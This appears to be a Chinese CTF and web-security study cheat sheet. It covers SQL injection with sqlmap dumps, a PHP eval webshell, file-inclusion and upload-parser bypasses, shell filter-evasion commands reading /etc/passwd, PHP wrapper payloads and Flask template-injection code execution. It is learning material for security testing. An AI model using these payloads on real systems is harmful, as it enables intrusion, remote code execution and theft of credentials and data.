web安全測試總結、CTF入門總結
-
靜態資源伺服器漏洞
- Apache伺服器從後向前解析檔案型別,直到解析到可處理的檔名為止
- Apache Tomcat預設安裝包含"/examples"目錄
-
木馬與webshell
-
php一句話木馬
<?php @eval($_POST['cmd']) ?> 一句話木馬配合中國菜刀可以實現一個webshell。github也有開源的各種webshell。
-
圖片木馬
-
windows
copy a.png/b + b.txt/a c.png
-
linux
cat file1.txt file2.jpg >> file3.jpg
-
-
上傳的圖片木馬可以利用檔案包含漏洞在生成一個小馬,在這個小馬中執行惡意程式碼。
-
常用木馬工具
- weevely
- 中國菜刀
-
-
sql注入
-
手工注入
-
判斷注入點
字元型
#注:假設admin為正常查詢字串 admin' and '1'='1'# 能查詢到資料 admin' and '1'='2'# 查詢不到資料
整數型
#注:假設7為正常查詢id 7 && 1=2
-
查詢欄位
a' UNION SELECT 1# a' UNION SELECT 1,2# a' UNION SELECT 1,2,3# ...直到正常顯示資料為止,同時注意數字出現在網頁上的位置
-
查詢庫
a' union select SCHEMA_NAME,2,3,4,5 from information_schema.SCHEMATA# ...直到正常顯示資料為止,同時注意數字出現在網頁上的位置
-
查詢表
a‘ union select TABLE_NAME,2,3,4,5 from information_schema.TABLES where TABLE_SCHEMA=‘ctf’ limit 0,1 #
-
查詢欄位
a’ union select COLUMN_NAME,2,3,4,5 from information_schema.COLUMNS where TABLE_NAME=‘ctf_key’ limit 0,1 #
-
查詢記錄
a' union select secvalue,2,3,4,5 from ctf.ctf_key #
-
-
sqlmap
-
將請求報文抓下來放到一個文字檔案,供sqlmap使用
-
判斷注入點,手工判斷或交給sqlmap
python sqlmap -r request.txt -p "username" ,-r 指定request報文,-p 指定注入引數。
-
查詢庫
python sqlmap.py -r request.txt --current-db,得到當前資料庫的名稱。
-
查詢表
python sqlmap.py -r request.txt -D 資料庫名 --tables,得到資料庫中的表的名稱。
-
查詢欄位
python sqlmap.py -r request.txt -D security -T users --columns,得到users表中的列名。
-
查詢記錄
python sqlmap.py -r request.txt -D security -T users -C username,password --dump,得到使用者名稱、密碼。
-
-
sql注入獲取webshell
利用SQL注入攻擊獲取WebShell其實就是在向伺服器寫檔案。(注意:這裡我們需要得到網站的絕對路徑)所有常用的關係資料庫管理系統(RDBMS)均包含內建的向伺服器檔案系統寫檔案的功能。
MySQL
select into outfile(dumpfile) //MySQL寫檔案命令
example:
select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";
-
-
檔案上傳漏洞
-
檔案上傳漏洞主要有以下幾種情況
- MIME型別繞過漏洞
- 副檔名繞過漏洞
- 檔案內容檢測繞過類上傳漏洞
- 空位元組截斷目錄路徑檢測繞過類上傳漏洞
-
解析導致的檔案上傳漏洞
- IIS6.0站上的目錄路徑檢測解析繞過上傳漏洞
- Apache站上的解析缺陷繞過上傳漏洞
- htaccess檔案上傳解析漏洞
-
-
HTTP Header 偽造請求地址和源地址
-
X-Forwarded-For
-
referer
-
-
PHP檔案包含漏洞
-
包含日誌檔案
- 先通過讀取httpd的配置檔案httpd.conf,找日誌檔案所在目錄。常見日誌檔案位置:
- ../etc/httpd/conf/httpd.conf
- /usr/local/apache/conf/http.conf
- ../apache/logs/error.log
- 先通過讀取httpd的配置檔案httpd.conf,找日誌檔案所在目錄。常見日誌檔案位置:
-
包含session
- 要求攻擊者能控制部分Session的內容。常見的php-session存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
- 要求攻擊者能控制部分Session的內容。常見的php-session存放位置:
-
包含/proc/self/environ 檔案
-
index.php?page=../../../../../proc/self/environ
該檔案包含Web程序執行時的環境變數,使用者可以控制其中一部分,比如對User-Agent
-
-
包含上傳的臨時檔案
- 如資料庫檔案,快取檔案
-
-
PHP各種繞過
-
弱型別比較
- 'abc' == 0, 結果為true
- '1234a' == 1234,結果為true
- ‘admin’==0,結果為true
- ‘1admin’==1,結果為true
- “0e123456”==“0e456789”,結果為true
- ……
-
md5校驗漏洞
- md5('QNKCDZO') == md5(240610708), 結果為true,適用於sha1
- md5(array()) == md5(array()), 結果為true,適用於sha1
-
strcmp繞過
- strcmp("233", array()),結果為null。正常字串比較一致的結果是0,但null在bool運算中很多情況下和0等價,可用來繞過if-else。
-
反序列化繞過 __wakeup
- 當成員屬性數目大於實際數目時可繞過wakeup方法
-
%00截斷
magic_quotes_gpc = off
PHP < 5.3.4 -
位元組長度截斷:最大值Windows下256位元組,Linux下4096位元組
-
%00截斷目錄遍歷
/var/www/%00
magic_quotes_gpc = off
-
編碼繞過
%2e%2e%2f ../
..%c0%af ../
%2e%2e%5c ..\
-
-
其他各種繞過
-
檔案上傳繞過檢查
-
抓包,修改Content-Type
-
Apache解析漏洞
上傳 1.php.jpg #apache從後向前解析
-
Nginx解析漏洞
php%001.jpg #00處截斷
-
IIS解析漏洞
a.asp; xx.jpg
-
修改檔案頭
GIF89a<?php @eval($_GET[0])> #GIF
-
別名
php的別名php1,php2
-
-
linux shell 命令繞過檢查
-
使用萬用字元*、?繞過關鍵詞
ls –l =>/?ln/?s –l /bin/cat /var/www/html/index.php => /???/???%20/???/???/????/?????.???
-
使用連線符繞過關鍵詞
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w’d /b\i\n/w\h\i\c\h c\a\t
-
使用未初始化的bash變數繞過
cat$a /etc$a/passwd$a
-
使用>繞過命令長度限制
-
${IFS}代替空格
-
-
SQL注入,繞過檢查
- 大小寫如:UniOn,And等
- and/or 替換成&& ||
- substring mid left right
- replace uniunionon=>union
-
-
變數覆蓋漏洞
-
$$這種寫法稱為可變變數
一個可變變數獲取了一個普通變數的值作為這個可變變數的變數名。
-
extract()函式使用不當
extract() 函式從陣列中將變數匯入到當前的符號表。
如果程式碼中出現extract(array, EXTR_OVERWRITE),如果你能控制array的值,則存在變數覆蓋漏洞。
-
parse_str()函式使用不當
parse_str() 函式把查詢字串解析到變數中。
parse_str(string,array)
如果未設定 array 引數,由該函式設定的變數將覆蓋已存在的同名變數。
$a=1; parse_str('a=2'); // 變數a的值會被覆蓋為2
-
import_request_variables()使用不當
import_request_variables將 GET/POST/Cookie 變數匯入到全域性作用域中
語法:
bool import_request_variables(string$types[,string$prefix])
$type代表要註冊的變數,G代表GET,P代表POST,C代表COOKIE,第二個引數為要註冊變數的字首
import_request_variables('G')指定匯入GET請求中的變數,從而導致變數覆蓋
-
-
遠端命令執行
-
preg_replace 有一個程式碼注入的漏洞,模式串後面加個e,會把替換後的字串當做php程式碼執行。 preg_replace 函式php5.5版本以上被廢棄
-
php assert如果是字串語句,且包含了變數,可以閉合該語句執行任意php程式碼。
-
上級目錄 .. 被過濾,使用\繞過。
linux 進入上一級目錄:cd .. 等價與 cd .\.
linux bash中,\為轉義字元,用於轉義&這類關鍵字。遇到無需轉義的字元,會忽略掉\。
-
-
php偽協議
-
php://input
-
條件:allow_url_include = on
-
payload
index.php?file=php://input POST: <? phpinfo(); ?>
-
-
php://filter
使用偽協議讀取php程式碼,編碼為base64: php://filter/read=convert.base64-encode/resource=./index.php
-
php://phar
讀取壓縮檔案下名為phpinfo.txt的檔案 index.php?file=phar://shell.zip/phpinfo.txt
-
data
-
條件
-
allow_url_fopen = On
-
allow_url_include = On
index.php?file=data:text/plain,<?php phpinfo(); ?>%00 index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
-
-
-
php傳送HTTP請求
url後跟@+檔名,可以將檔案內容加入post請求的資料部分
-
-
原始碼洩露
-
git原始碼洩露,GitHack
-
svn原始碼洩露, dvcs-ripper
-
DS_Store檔案洩露, ds_store_exp
-
phps:php原始碼檔案
-
WEB-INF/web.xml洩露
WEB-INF 是 Java 的 WEB 應用的安全目錄。該目錄原則上來說是客戶端無法訪問,只有服務端才可以可以訪問。如果想在頁面中直接訪問其中的檔案,必須通過 web.xml 檔案對要訪問的檔案進行相應對映才能訪問。
WEB-INF 主要包含一下檔案或目錄:
/WEB-INF/web.xml:Web 應用程式配置檔案,描述了 servlet 和其他的應用元件配置及命名規則;
/WEB-INF/classes/:含了站點所有用的 class 檔案,包括 servlet class 和非 servlet class,他們不能包含在 .jar 檔案中;
/WEB-INF/lib/:存放 web 應用需要的各種 JAR 檔案,放置僅在這個應用中要求使用的 jar 檔案 , 如資料庫驅動 jar 檔案;
/WEB-INF/src/:原始碼目錄,按照包名結構放置各個 java 檔案;
/WEB-INF/database.properties:資料庫配置檔案。
不過在一些特定的場合卻會讓攻擊者能讀取到其中的內容,從而造成原始碼洩露. -
網站備份檔案洩露
在網站的升級和維護過程中,通常需要對網站中的檔案進行修改。此時就需要對網站整站或者其中某一頁面進行備份。
當備份檔案或者修改過程中的快取檔案因為各種原因而被留在網站 web 目錄下,而該目錄又沒有設定訪問許可權時,便有可能導致備份檔案或者編輯器的快取檔案被下載,導致敏感資訊洩露,給伺服器的安全埋下隱患。
該漏洞的成因主要有是管理員將備份檔案放在到 web 伺服器可以訪問的目錄下。
該漏洞往往會導致伺服器整站原始碼或者部分頁面的原始碼被下載,利用。原始碼中所包含的各類敏感資訊,如伺服器資料庫連線資訊,伺服器配置資訊等會因此而洩露,造成巨大的損失。
被洩露的原始碼還可能會被用於程式碼審計,進一步利用而對整個系統的安全埋下隱患。
檔案字尾:
.rar .zip .7z .tar.gz .bak .swp .txt .sql
-
-
php標籤過濾。有些時候命令傳不上去是因為服務端對php標籤做了過濾。
php標籤
<?php echo 'Hello World !'; ?> <script language="php"> echo 'Hello World !'; </script> <? echo 'this is the simplest, an SGML processing instruction'; ?> <?= expression ?> This is a shortcut for "<? echo expression ?>" <% echo 'You may optionally use ASP-style tags'; %> <%= $variable; # This is a shortcut for "<% echo . . ." %>
-
模板注入
-
Flask
-
命令執行
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__['os'].__dict__['popen']('whoami').read() }}
-
過濾單引號
?{{ [].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals[request.args.linecace].__dict__[request.args.ss].__dict__[request.args.poen](request.args.ls).read() }}&linecace=linecache&ss=os&poen=popen&ls=ls
-
-
Tornado讀取cookie_screct
- {{handler.settings}}
-
-
FUZZ
-
常用工具
- burp suite
- wfuzz
-
-
GBK編碼範圍:8140-FEFE
-
弱密碼爆破
-
目錄爆破
- dirsearch